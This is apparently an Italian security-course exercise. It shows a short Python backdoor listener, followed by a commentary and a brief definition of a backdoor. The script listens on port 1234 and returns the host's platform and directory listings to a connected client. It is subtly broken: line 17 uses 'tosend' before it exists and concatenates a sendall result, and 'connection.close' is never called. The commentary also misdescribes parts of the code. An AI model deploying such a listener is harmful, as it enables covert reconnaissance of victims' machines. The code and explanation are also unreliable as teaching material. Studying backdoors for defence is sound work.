

```
1  import socket, platform, os
2
3  SRV_ADDR = ""
4  SRV_PORT = 1234
5
6  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7  s.bind((SRV_ADDR, SRV_PORT))
8  s.listen(1)
9  connection, address = s.accept()
10 print("client connected: ", address)
11
12 while 1:
13     try:
14         data = connection.recv(1024)
15     except: continue
16     if(data.decode('utf-8') == '1'):
17         tosend = platform.platform() + " " + connection.sendall(tosend.encode())
18     elif(data.decode('utf-8')== '2'):
19         data = connection.recv(1024)
20         try:
21             filelist = os.listdir(data.decode('utf-8'))
22             tosend = ""
23             for x in filelist:
24                 tosend += "," + x
25         except:
26             tosend = "Wrong path"
27         connection.sendall(tosend.encode())
28     elif(data.decode('utf-8') == '0'):
29         connection.close
30     connection, address = s.accept()
```

Commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

CODICE

Dalla **riga di codice 1** alla **riga 5** sto comunicando quale client vado ad ascoltare, attraverso quale indirizzo IPv4 (*in questo caso non specificato*) e quale porta.

Dopodiché, tra le **righe 6 e 10** andiamo a creare il socket, ossia il dispositivo che ci permetterà di intercettare e riportare le informazioni che ci interessano:

s.bind ci connette all'IP e alla porta interessata;

s.listen configura il socket ascoltando una sola connessione alla volta (**1**);

connection stabilisce la connessione; **data** conterrà i dati che andremo a controllare.

Il comando **while** agisce sul comando **connection** solo attraverso la condizione **1** che corrisponde a: **True**, essendo la condizione sempre vera, il ciclo **while** sarà ripetibile all'infinito.

I dati verranno analizzati decodificati nella lingua d'interesse attraverso **'utf-8'**

Chiediamo di ricevere 1024 byte per volta.

Except controlla le eccezioni: in questo caso, se trovasse un'eccezione, col comando **continue** il ciclo **while** 1 ricomincia.

Tutto ciò che va di seguito (**16-27**) è il comportamento che deve tenere il programma attraverso le varie risposte e quali informazioni ottenere (ad esempio **listdir** ci mostrerà l'elenco delle varie cartelle presenti nel client dell'interessato).

Per chiudere l'operazione utilizzeremo il comando **connection.close**

BACKDOOR

Una **backdoor** è una porta d'accesso sicura (per l'attaccante) attraverso la quale operare, nel nostro caso ascoltare, sull'obiettivo.